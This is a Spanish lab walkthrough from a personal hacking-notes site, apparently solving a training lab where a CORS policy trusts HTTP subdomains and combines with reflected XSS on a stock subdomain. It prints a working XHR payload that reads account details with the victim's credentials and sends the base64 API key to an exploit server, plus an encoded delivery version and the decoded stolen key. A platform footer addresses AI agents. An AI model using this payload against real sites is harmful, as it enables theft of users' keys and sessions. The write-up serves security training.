> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/es/web/cors/cors-with-trusted-insecure-protocols.md).

# CORS con protocolos inseguros confiados

### Vulnerabilidad de CORS con protocolos inseguros de confianza

El sitio tiene una configuración de CORS vulnerable: confía en todos **subdominios**, incluso al usar **HTTP**. El objetivo es obtener la clave API del administrador a través de CORS y extraerla al servidor operativo.

Credenciales proporcionadas: `wiener:peter`.El sitio tiene una configuración de CORS vulnerable: confía en todos **subdominios**, incluso al usar **HTTP**. El objetivo es obtener la clave API del administrador a través de CORS y extraerla al servidor operativo.

Credenciales proporcionadas: `wiener:peter`.

#### Observaciones

* El dominio raíz es aceptado en **HTTP**:

{% code overflow="wrap" %}

```html
Origin: http://0a550036047e216980caa86b00fb0073.web-security-academy.net
```

{% endcode %}

<figure><img src="/files/58cadce1c1853d41862c9321bc4fbc79812b52b0" alt=""><figcaption></figcaption></figure>

**Subdominios** en HTTP también son aceptados:

{% code overflow="wrap" %}

```
Origin: http://jord4n.0a550036047e216980caa86b00fb0073.web-security-academy.net
```

{% endcode %}

<figure><img src="/files/da4843724a253ce99eef63b3d9f79eeea99af6b9" alt=""><figcaption></figcaption></figure>

Subdominio identificado mediante stockcheck:

{% code overflow="wrap" %}

```html
https://stock.0a550036047e216980caa86b00fb0073.web-security-academy.net/?productId=1&storeId=1
```

{% endcode %}

<figure><img src="/files/a1aeeb33235ebae0dd5f04d44269e6bef4c75bf1" alt=""><figcaption></figcaption></figure>

Este artículo refleja `productId` → \*\* Inyección HTML/JS\*\* posible:

```html
?productId=test&storeId=1
```

<figure><img src="/files/ec0f52622ea424c41149ce7183ce2b859941b3d0" alt=""><figcaption></figcaption></figure>

```html
?productId=<h1>hello</h1>&storeId=1
?productId=<script>alert(0)</script>&storeId=1
```

<figure><img src="/files/652993ce981d09bdea3b3e69db5a6c6a3b87a560" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/ae1f35e0a0f99acdbbfac7826d55db47d9fe2d8c" alt=""><figcaption></figcaption></figure>

#### Explotación: lectura de `/accountDetails` y exfiltración

Script XHR usado (enviado mediante subdominio):

```javascript
<script>
  var req=new XMLHttpRequest();
  req.onload = function(){
     location = 'https://exploit-0a1d009204a3210b802ca7e301e500cd.exploit-server.net/?apiKey=' %2b btoa(req.responseText);
};
  req.open('GET', 'https://0a550036047e216980caa86b00fb0073.web-security-academy.net/accountDetails', true);
  req.withCredentials = true;
  req.send();
</script>
```

Inyecta el script en el `productId` parámetro del subdominio vulnerable:

```javascript
https://stock.0a550036047e216980caa86b00fb0073.web-security-academy.net/?productId=<script>
  var req=new XMLHttpRequest();
  req.onload = function(){
     location = 'https://exploit-0a1d009204a3210b802ca7e301e500cd.exploit-server.net/?apiKey=' %2b btoa(req.responseText);
};
  req.open('GET', 'https://0a550036047e216980caa86b00fb0073.web-security-academy.net/accountDetails', true);
  req.withCredentials = true;
  req.send();
</script>&storeId=1
```

Redirige a la URL para explotar con la `apiKey` variable que contiene la respuesta codificada.

<figure><img src="/files/6598ff1645838951650f0f4dcc7dd9cb1fbff707" alt=""><figcaption></figcaption></figure>

#### Carga útil enviada a la víctima (versión codificada en URL)

```javascript
<script>
document.location = 'http://stock.0a550036047e216980caa86b00fb0073.web-security-academy.net/?productId=%3Cscript%3Evar%20req=new%20XMLHttpRequest();req.onload=function(){location=%27https://exploit-0a1d009204a3210b802ca7e301e500cd.exploit-server.net/?apiKey=%27%2bbtoa(req.responseText);};req.open(%27GET%27,%27https://0a550036047e216980caa86b00fb0073.web-security-academy.net/accountDetails%27,true);req.withCredentials=true;req.send();%3C//script%3E&storeId=1';
</script>
```

* Recepción de la clave API en el servidor para explotar mediante el `apiKey` parámetro.

<figure><img src="/files/ca55da2fd1be2a29142a723ba352173b9e501b3b" alt=""><figcaption></figcaption></figure>

* Decodificación realizada con:

```bash
echo -n "ewogICJ1c2VybmFtZSI6ICJhZG1pbmlzdHJhdG9yIiwKICAiZW1haWwiOiAiIiwKICAiYXBpa2V5IjogIllUY0ViOFFLb3F1SE90MTJ4bGt1M1ZoYTlFNk0wbDJIIiwKICAic2Vzc2lvbnMiOiBbCiAgICAiZ25yTGM2UDVEb01uQmxyUTczQ3l6SldBUnJzTXJpYlciCiAgXQp9" | base64 -d
```

<figure><img src="/files/50dcf5f723fb0a7581bc9b73cd45fee747aa70eb" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/es/web/cors/cors-with-trusted-insecure-protocols.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
